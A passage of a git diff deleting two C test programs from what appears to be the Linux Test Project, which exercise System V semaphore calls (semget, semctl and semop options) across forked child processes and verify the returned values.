-| To compile:   cc -o semaphore_test_02 semaphore_test_02.c            |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/14/94 00:18:23                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.2     021494  DJK   Moved to "prod" directory                   |
-|							               |
-|    1.3     Jan-28-02 	Manoj Iyer, IBM Austin TX. manjo@austin.ibm.com|
-|			Modified semctl() to work in linux. Also the   |
-|			#ifdef _LINUX_ was removed from the code.      |
-|								       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#include <sys/param.h>
-#include <sys/sem.h>
-#include <sys/shm.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <string.h>
-#include "lapi/semun.h"
-
-/*
- * Defines
- *
- * NUM_SEMAPHORES: number of semaphores to create
- */
-#define MAX_SEMAPHORES	250
-#define MAX_CHILDREN		200
-#define DEFAULT_NUM_SEMAPHORES	96
-#define DEFAULT_NUM_CHILDREN	0
-
-#define USAGE	"\nUsage: %s [-s nsems] [-p nproc]\n\n" \
-		"\t-s nsems  number of semaphores (per process)\n\n"	\
-		"\t-p nproc  number of child processes to spawn\n\n"
-
-#define SAFE_FREE(p) { if (p) { free(p); (p)=NULL; } }
-/*
- * Function prototypes
- *
- * test_commands (): Tests semget () and semctl () commands
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void test_commands(pid_t);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void parse_args(int, char **);
-
-/*
- * Structures and Global variables:
- *
- * nsems: number of semaphores to create (per process)
- * nprocs: number of child processes to spawn
- * childpid: array containing process id's of the child processes
- * parent_pid: process id of parent process
- */
-int nsems = DEFAULT_NUM_SEMAPHORES;
-int nprocs = DEFAULT_NUM_CHILDREN;
-int childpid[MAX_CHILDREN];
-int errors = 0;
-pid_t parent_pid;
-
-union semun arg;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int proc;		/* fork loop index */
-	pid_t pid;		/* Process id */
-	int status;		/* Child's exit status */
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Semaphore TestSuite program\n", *argv);
-	fflush(stdout);
-	parent_pid = getpid();
-
-	/*
-	 * Fork off the additional processes.
-	 */
-	if (nprocs > 0) {
-		printf("\n\tParent: spawning %d child processes\n", nprocs);
-		fflush(stdout);
-	}
-	for (proc = 1; proc < nprocs; proc++) {
-		/*
-		 * Child leaves loop, parent continues to fork.
-		 */
-		if ((pid = fork()) < 0)
-			error("fork failed", __LINE__);
-		else if (pid == 0)
-			break;
-		else
-			childpid[proc] = pid;
-	}
-	pid = getpid();
-
-	/*
-	 * Test the semget () and semctl () commands
-	 */
-	test_commands(pid);
-
-	/*
-	 * Finished testing commands, only parent process needs to continue
-	 */
-	if (pid != parent_pid)
-		exit(0);
-
-	/*
-	 * Wait for all of the child processes to complete & check their
-	 * exit status.
-	 *
-	 * Upon completion of the child proccesses, exit program with success.
-	 */
-	for (proc = 1; proc < nprocs; proc++) {
-		waitpid(childpid[proc], &status, 0);
-
-		if (!WIFEXITED(status))
-			error("child process terminated abnormally", __LINE__);
-	}
-	if (nprocs > 0)
-		printf
-		    ("\n\tAll child processes verified commands successfully\n");
-	printf("\nsuccessful!\n");
-	return (errors);
-}
-
-/*---------------------------------------------------------------------+
-|                   test_commands (pid_t pid)                          |
-| ==================================================================== |
-|                                                                      |
-| Function:  test semget() and semctl()                                |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void test_commands(pid_t pid)
-{
-	int i;			/* loop index */
-	int semid;		/* Unique semaphore id */
-	int val;		/* Misc value */
-	gid_t gid = getgid();	/* User's group id */
-	mode_t mode = 0666;	/* User's mode value */
-	uid_t uid = getuid();	/* User's user id */
-	struct sembuf sops;
-	union semun semunptr;	/* This union has struct semid_ds *buf */
-	/*
-	 * Test semget () with IPC_PRIVATE command
-	 *
-	 * Create nsems semaphores and store the returned unique
-	 * semaphore identifier as semid.
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (IPC_SET) command operation\n");
-	if ((semid = semget(IPC_PRIVATE, nsems, IPC_CREAT | 0666)) < 0)
-		error("semget failed", __LINE__);
-
-	/*
-	 * Test semctl () with IPC_SET command
-	 *
-	 * Set the uid, gid and mode fields
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (IPC_SET) command operation\n");
-
-	semunptr.buf = (struct semid_ds *)calloc(1, sizeof(struct semid_ds));
-	if (!semunptr.buf)
-		error("calloc failed", __LINE__);
-
-	semunptr.buf->sem_perm.uid = uid;
-	semunptr.buf->sem_perm.gid = gid;
-	semunptr.buf->sem_perm.mode = mode;
-
-	if (semctl(semid, 0, IPC_SET, semunptr) < 0)
-		sys_error("semctl failed", __LINE__);
-
-	/*
-	 * Test semctl () with IPC_STAT command
-	 *
-	 * Get the semid_ds structure and verify it's fields.
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (IPC_STAT) command operation\n");
-
-	if (semctl(semid, 0, IPC_STAT, semunptr) < 0)
-		sys_error("semctl failed", __LINE__);
-	if (semunptr.buf->sem_perm.uid != uid)
-		sys_error("semctl: uid was not set", __LINE__);
-	if (semunptr.buf->sem_perm.gid != gid)
-		sys_error("semctl: gid was not set", __LINE__);
-	if ((semunptr.buf->sem_perm.mode & 0777) != mode)
-		sys_error("semctl: mode was not set", __LINE__);
-	if (semunptr.buf->sem_nsems != nsems)
-		sys_error("semctl: nsems (number of semaphores) was not set",
-			  __LINE__);
-	SAFE_FREE(semunptr.buf);
-
-	/*
-	 * Test semctl () with SETVAL command
-	 *
-	 * Loop through all the semaphores and set the semaphore value
-	 * to the loop index (i).
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (SETVAL) command operation\n");
-	for (i = 0; i < nsems; i++) {
-		arg.val = i;
-		if (semctl(semid, i, SETVAL, arg) < 0)
-			sys_error("semctl failed", __LINE__);
-	}
-
-	/*
-	 * Test semctl () with GETVAL command
-	 *
-	 * Loop through all the semaphores and retrieve the semaphore values
-	 * and compare with the expected value, the loop index (i).
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (GETVAL) command operation\n");
-	for (i = 0; i < nsems; i++) {
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl failed", __LINE__);
-		if (val != i)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-	}
-
-	// testing in linux.  before semctl(GETPID) works, we must call semop
-	if (pid == parent_pid)
-		printf("\n\tTesting semop (signal and wait) operations\n");
-	sops.sem_flg = 0;
-	for (i = 0; i < nsems; i++) {
-		sops.sem_num = i;
-		sops.sem_op = 1;
-		if ((val = semop(semid, &sops, 1)) < 0)
-			sys_error("semop signal failed", __LINE__);
-		sops.sem_op = -1;
-		if ((val = semop(semid, &sops, 1)) < 0)
-			sys_error("semop wait failed", __LINE__);
-	}
-
-	/*
-	 * Test semctl () with GETPID command
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (GETPID) command operation\n");
-	for (i = 0; i < nsems; i++) {
-		if ((val = semctl(semid, i, GETPID, arg)) < 0)
-			sys_error("semctl failed", __LINE__);
-		if (val != pid)
-			sys_error("semctl (GETPID) failed", __LINE__);
-	}
-
-	/*
-	 * Test semctl () with GETNCNT command
-	 *
-	 * Get semncnt (the number of processes awaiting semval > currval)
-	 * and insure that this value is 0...
-	 *
-	 * Note: A better test would include forking off a process that
-	 *       waits for the semaphore so that semncnt would be nonzero.
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (GETNCNT) command operation\n");
-	for (i = 0; i < nsems; i++) {
-		if ((val = semctl(semid, i, GETNCNT, arg)) < 0)
-			sys_error("semctl failed", __LINE__);
-		if (val != 0)
-			sys_error("semctl (GETNCNT) returned wrong value",
-				  __LINE__);
-	}
-
-	/*
-	 * Test semctl () with GETZCNT command
-	 *
-	 * Get semzcnt (the number of processes awaiting semval = currval)
-	 * and insure that this value is 0...
-	 *
-	 * Note: A better test would include forking off a process that
-	 *       waits for the semaphore so that semzcnt would be nonzero.
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (GETZCNT) command operation\n");
-	for (i = 0; i < nsems; i++) {
-		if ((val = semctl(semid, i, GETZCNT, arg)) < 0)
-			sys_error("semctl failed", __LINE__);
-		if (val != 0)
-			sys_error("semctl (GETZCNT) returned wrong value",
-				  __LINE__);
-	}
-
-	/*
-	 * Test semctl () with SETALL command
-	 *
-	 * Set all of the semaphore values in the set.
-	 */
-	arg.array = malloc(sizeof(int) * nsems);
-	if (!arg.array)
-		error("malloc failed", __LINE__);
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (SETALL) command operation\n");
-	for (i = 0; i < nsems; i++)
-		arg.array[i] = i;
-	if (semctl(semid, 0, SETALL, arg) < 0)
-		sys_error("semctl failed", __LINE__);
-
-	/*
-	 * Test semctl () with GETALL command
-	 *
-	 * Get all of the semaphore values in the set, and verify that
-	 * they are all correct.
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (GETALL) command operation\n");
-	if (semctl(semid, nsems, GETALL, arg) < 0)
-		sys_error("semctl failed", __LINE__);
-	for (i = 0; i < nsems; i++) {
-		if (arg.array[i] != i)
-			sys_error("semaphore does not match expected value",
-				  __LINE__);
-	}
-
-	/*
-	 * Test semctl () with IPC_RMID command
-	 *
-	 * Remove the semaphores
-	 */
-	if (pid == parent_pid)
-		printf("\n\tTesting semctl (IPC_RMID) command operation\n");
-	if (semctl(semid, nsems, IPC_RMID, arg) < 0)
-		sys_error("semctl failed", __LINE__);
-	SAFE_FREE(arg.array);
-
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-p] nproc: number of child processes                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((opt = getopt(argc, argv, "s:p:")) != EOF) {
-		switch (opt) {
-		case 's':
-			nsems = atoi(optarg);
-			break;
-		case 'p':
-			nprocs = atoi(optarg);
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (nsems >= MAX_SEMAPHORES) {
-		errflag++;
-		fprintf(stderr, "ERROR: nsems must be less than %d\n",
-			MAX_SEMAPHORES);
-	}
-	if (nprocs >= MAX_CHILDREN) {
-		errflag++;
-		fprintf(stderr, "ERROR: nproc must be less than %d\n",
-			MAX_CHILDREN);
-	}
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and increments errors	       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, syserr_msg);
-	errors++;
-	/* error (syserr_msg, line); */
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/semaphore_test_03.c b/testcases/kernel/ipc/ipc_stress/semaphore_test_03.c
deleted file mode 100644
index d82e217..0000000
--- a/testcases/kernel/ipc/ipc_stress/semaphore_test_03.c
+++ /dev/null
@@ -1,1038 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           semaphore_test_03                          |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify semop () command options                        |
-|                                                                      |
-| Algorithm:    o  Spawn N child processes                             |
-|                                                                      |
-|               o  Obtain N semaphores with semget (IPC_PRIVATE)       |
-|                                                                      |
-|               o  Call semop () with variations of the following      |
-|                  parameters:                                         |
-|                                                                      |
-|                     sem_op:  negative, 0, positive                   |
-|                     sem_flg: IPC_NOWAIT, SEM_UNDO                    |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               semget () - Gets a set of semaphores                   |
-|               semctl () - Controls semaphore operations              |
-|               semop () - Performs semaphore operations               |
-|                                                                      |
-| Usage:        semaphore_test_03 [-p nprocs] [-s nsems]               |
-|                                                                      |
-|               where:  nprocs - number of child processes to spawn    |
-|                       nsems  - number of semaphores (per process)    |
-|                                                                      |
-| To compile:   cc -o semaphore_test_03 semaphore_test_03.c            |
-|                                                                      |
-| Last update:   Ver. 1.6, 7/21/94 13:37:28                            |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.2     021494  DJK   Moved to "prod" directory                   |
-|    1.3     Jan-28-02 	Manoj Iyer, IBM Austin, TX.manjo@austin.ibm.com|
-|			Modified - Ported to work on PPC64.            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <stdio.h>
-#include <sys/ipc.h>
-#include <sys/param.h>
-#include <sys/sem.h>
-#include <sys/shm.h>
-#include <sys/stat.h>
-#include <sys/signal.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include "lapi/semun.h"
-
-/*
- * Defines
- *
- * MAX_SEMAPHORES: maximum number of semaphores per id (limited by
- * maximum number of semaphore operations per call by semop () function).
- *
- * MAX_CHILDREN:   maximum number of child processes to spawn
- *
- * DEFAULT_NUM_SEMAPHORES: default number of semaphores to create unless
- * specified with (-s nsems) command line option
- *
- * DEFAULT_NUM_CHILDREN: default number of child processes to spawn unless
- * specified with (-p nprocs) command line option
- *
- * USAGE: usage statement macro
- *
- * SEMOP_TABLE: macro for printing attempted semop command combinations
- */
-#define MAX_SEMAPHORES	        32
-#define MAX_CHILDREN		200
-#define DEFAULT_NUM_SEMAPHORES	16
-#define DEFAULT_NUM_CHILDREN	0
-
-#define USAGE	"\nUsage: %s [-s nsems] [-p nproc]\n\n" \
-		"\t-s nsems  number of semaphores (per process)\n\n"	\
-		"\t-p nproc  number of child processes to spawn\n\n"
-#define SEMOP_TABLE(p1,p2,p3,p4)	\
-	if (proc_pid == parent_pid)	\
-		printf ("\t   %3d    %3d    %-10s %-20s\n", p1, p2, p3, p4)
-
-#define SAFE_FREE(p) { if (p) { free(p); (p)=NULL; } }
-
-/*
- * Function prototypes
- *
- * setup_signal_handler (): Sets up signal handler for SIGUSR1
- * test_commands (): Tests semget () and semctl () commands
- * handler (): Signal handler
- * sys_error (): System error message function
- * error (): Error message function
- * parse_args (): Parse command line arguments
- * catch: Signal catching function for SIGUSR1 signal
- */
-static void setup_signal_handler();
-static void test_commands();
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void parse_args(int, char **);
-static void catch(int);
-
-/*
- * Structures and Global variables:
- *
- * nsems: number of semaphores to create (per process)
- * nprocs: number of child processes to spawn
- * childpid: array containing process id's of the child processes
- * parent_pid: process id of parent process
- */
-int nsems = DEFAULT_NUM_SEMAPHORES;
-int nprocs = DEFAULT_NUM_CHILDREN;
-pid_t childpid[MAX_CHILDREN];
-pid_t parent_pid;
-pid_t errpid;
-
-union semun arg;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	pid_t pid;		/* Child's process id */
-	int proc;		/* Fork loop index */
-	int status;		/* Child's exit status */
-
-	/*
-	 * Parse command line arguments, print out program header, setup
-	 * signal handler (for SIGUSR1) and save parent process id.
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Semaphore TestSuite program\n", *argv);
-	fflush(stdout);
-	setup_signal_handler();
-	errpid = parent_pid = getpid();
-
-	if (nsems < 8)
-		nsems = 8;
-
-	/*
-	 * Fork off the additional processes.
-	 */
-	if (nprocs > 0) {
-		printf("\n\tParent: spawning %d child processes\n", nprocs);
-		fflush(stdout);
-	}
-	for (proc = 1; proc < nprocs; proc++) {
-		/*
-		 * Child leaves loop, parent continues to fork.
-		 */
-		if ((pid = fork()) < 0)
-			sys_error("fork failed", __LINE__);
-		else if (pid == (pid_t) 0) {
-			errpid = pid;
-			break;
-		} else
-			childpid[proc] = pid;
-	}
-	pid = getpid();
-
-	/*
-	 * Test the semget () and semctl () commands
-	 */
-	test_commands(pid);
-
-	/*
-	 * Finished testing commands, only parent process needs to continue
-	 */
-	if (pid != parent_pid)
-		exit(0);
-
-	/*
-	 * Wait for all of the child processes to complete & check their
-	 * exit status.
-	 *
-	 * Upon completion of the child proccesses, exit program with success.
-	 */
-	for (proc = 1; proc < nprocs; proc++) {
-		waitpid(childpid[proc], &status, 0);
-
-		if (WEXITSTATUS(status))
-			sys_error("child process terminated abnormally",
-				  __LINE__);
-	}
-	if (nprocs > 0)
-		printf
-		    ("\n\tAll child processes verified commands successfully\n");
-	printf("\nsuccessful!\n");
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             test_commands ()                         |
-| ==================================================================== |
-|                                                                      |
-| Function:  Verifies options for semop () system function call.       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void test_commands(pid_t proc_pid)
-{
-	int i;			/* Misc loop index */
-	int val;		/* Value (semctl parameter) */
-	int semid;		/* Unique semaphore id */
-	int status;		/* Child's exit status */
-	int expected_value;	/* Expected semaphore value */
-	pid_t pid;		/* Misc process id */
-	gid_t gid = getgid();	/* Misc group id */
-	uid_t uid = getuid();	/* Misc user id */
-	mode_t mode = 0666;	/* Misc mode bits */
-	// ushort       array [MAX_SEMAPHORES]; /* Misc array of semaphore values */
-	struct sembuf semoparray[MAX_SEMAPHORES];
-
-	/*
-	 * Create the semaphores...
-	 */
-	if (proc_pid == parent_pid)
-		printf("\n\tCreating %d semaphores ...\n", nsems);
-	if ((semid = semget(IPC_PRIVATE, nsems, IPC_CREAT | mode)) < 0)
-		sys_error("semget (IPC_PRIVATE) failed", __LINE__);
-
-	/*
-	 * Set the semaphore uid, gid and mode
-	 */
-	if (proc_pid == parent_pid)
-		printf
-		    ("\n\tSetting semaphore uid, gid and mode ... semid = %d\n",
-		     semid);
-	arg.buf = (struct semid_ds *)calloc(1, sizeof(struct semid_ds));
-	if (!arg.buf)
-		error("calloc failed", __LINE__);
-	arg.buf->sem_perm.uid = uid;
-	arg.buf->sem_perm.gid = gid;
-	arg.buf->sem_perm.mode = mode;
-	if (semctl(semid, 0, IPC_SET, arg) < 0)
-		sys_error("semctl failed", __LINE__);
-
-	/*
-	 * Verify that semaphore uid, gid and mode were set correctly
-	 */
-	if (proc_pid == parent_pid)
-		printf("\n\tVerifying semaphore info ...\n");
-	if (semctl(semid, 0, IPC_STAT, arg) < 0)
-		sys_error("semctl (IPC_STAT) failed", __LINE__);
-	if (arg.buf->sem_perm.uid != uid)
-		error("semctl: uid was not set", __LINE__);
-	if (arg.buf->sem_perm.gid != gid)
-		error("semctl: gid was not set", __LINE__);
-	if ((arg.buf->sem_perm.mode & 0777) != mode)
-		error("semctl: mode was not set", __LINE__);
-	if (arg.buf->sem_nsems != nsems)
-		error("semctl: nsems (number of semaphores) was not set",
-		      __LINE__);
-	SAFE_FREE(arg.buf);
-
-	/*
-	 * Set the value of each semaphore in the set to 2.
-	 */
-	arg.array = malloc(sizeof(int) * nsems);
-	if (!arg.array)
-		error("malloc failed", __LINE__);
-	for (i = 0; i < nsems; i++)
-		arg.array[i] = 2;
-	if (semctl(semid, 0, SETALL, arg) < 0)
-		sys_error("semctl (SETALL) failed", __LINE__);
-	SAFE_FREE(arg.array);
-
-	/* ------------------------------------------------------------------ */
-	/*  possibilities for sem_flg are:                                    */
-	/*               0                                                    */
-	/*               SEM_UN                                               */
-	/*               IPC_NOWAIT                                           */
-	/*               Return Immediately                                   */
-	/* ------------------------------------------------------------------ */
-	if (proc_pid == parent_pid) {
-		printf
-		    ("\n\tTesting semop() with all Semaphore values, options and flags\n");
-		printf("\n\t   Semval Semop  Semflag    Description\n");
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 1  --- semval = 2, sem_op = -1, sem_flg = 0                 */
-	/*           --- semval > |sem_op| THEN (semval - |sem_op|) = 1       */
-	/*           THE FOLLOWING SHOULD SHOW semval = 1.                    */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(2, -1, "0", "Obtain resource");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = -1;
-		semoparray[i].sem_flg = 0;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 1;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 2  --- semval = 1, sem_op = -1, sem_flg = 0                 */
-	/*           --- semval = |sem_op| THEN (semval - |sem_op|) = 0       */
-	/*           THE FOLLOWING SHOULD SHOW semval = 0                     */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(1, -1, "0", "Obtain resource");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = -1;
-		semoparray[i].sem_flg = 0;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 0;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 3 --- semval = 0, sem_op = 0, sem_flg = 0                   */
-	/*          --- semop =  0 AND semval = 0 returns immediately.        */
-	/*           THE FOLLOWING SHOULD SHOW semval = 0                     */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(0, 0, "0", "Semop function returns immediately");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = 0;
-		semoparray[i].sem_flg = 0;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 0;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 4 --- semval = 5, sem_op = 1, sem_flg = 0                   */
-	/*          --- semop > 0 THEN (semval + sem_op) = 6                  */
-	/*           THE FOLLOWING SHOULD SHOW semval = 6                     */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(5, 1, "0", "Return resource");
-	arg.array = malloc(sizeof(int) * nsems);
-	if (!arg.array)
-		error("malloc failed", __LINE__);
-	for (i = 0; i < nsems; i++) {
-		arg.array[i] = 5;
-	}
-	if (semctl(semid, 0, SETALL, arg) < 0)
-		sys_error("semctl (SETALL) failed", __LINE__);
-	SAFE_FREE(arg.array);
-
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = 1;
-		semoparray[i].sem_flg = 0;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 6;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 5 --- semval = 6, sem_op = -7, sem_flg = IPC_NOWAIT         */
-	/*          --- semval < |sem_op| && IPC_NOWAIT, THEN return immed.   */
-	/*         THE FOLLOWING SHOULD SHOW semval = 6.                      */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(6, -7, "IPC_NOWAIT", "Semop function returns immediately");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = -7;
-		semoparray[i].sem_flg = IPC_NOWAIT;
-	}
-	if (semop(semid, semoparray, nsems) >= 0)
-		error("semop did not return EAGAIN", __LINE__);
-	else if (errno != EAGAIN)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 6;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 6 --- semval = 6, sem_op = 0, sem_flg = IPC_NOWAIT          */
-	/*          --- semop = 0 AND semval != 0 AND IPC_NOWAIT,          */
-	/*          ---              THEN  return immediately.                */
-	/*         THE FOLLOWING SHOULD SHOW semval = 6.                      */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(6, 0, "IPC_NOWAIT", "Semop function returns immediately");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = 0;
-		semoparray[i].sem_flg = IPC_NOWAIT;
-	}
-	if (semop(semid, semoparray, nsems) >= 0)
-		error("semop did not return EAGAIN", __LINE__);
-	else if (errno != EAGAIN)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 6;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 7  --- semval = 6, sem_op = 1, sem_flg = 0                  */
-	/*          --- semop > 0 THEN (semval + sem_op) = 7               */
-	/*         THE FOLLOWING SHOULD SHOW semval = 7.                      */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(6, 1, "0", "Return resource");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = 1;
-		semoparray[i].sem_flg = 0;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 7;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, i, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 8 --- semval = 7, sem_op[0] = -8, sem_flg = 0               */
-	/*          --- semval < |semop| && ! IPC_NOWAIT, caller sleeps       */
-	/* call #1  --- semval = 7, sem_op[0] =  2, sem_flg = 0               */
-	/*          --- semop > 0 THEN (semval + sem_op) = 9                  */
-	/*           --- "child" is awaken via call #1.                       */
-	/*         THE FOLLOWING SHOULD SHOW semval = 1                       */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(7, -8, "0", "Sleep (until resource becomes available)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 0;
-		semoparray[0].sem_op = -8;
-		semoparray[0].sem_flg = 0;
-		if (semop(semid, semoparray, 1) < 0)
-			sys_error("semop failed", __LINE__);
-		exit(0);
-	} else if (pid < 0) {
-		sys_error("fork failed", __LINE__);
-	}
-	semoparray[0].sem_num = 0;
-	semoparray[0].sem_op = 2;
-	semoparray[0].sem_flg = 0;
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 0, GETNCNT, arg))
-		sleep(1);
-
-	if (semop(semid, semoparray, 1) < 0)
-		sys_error("semop failed", __LINE__);
-
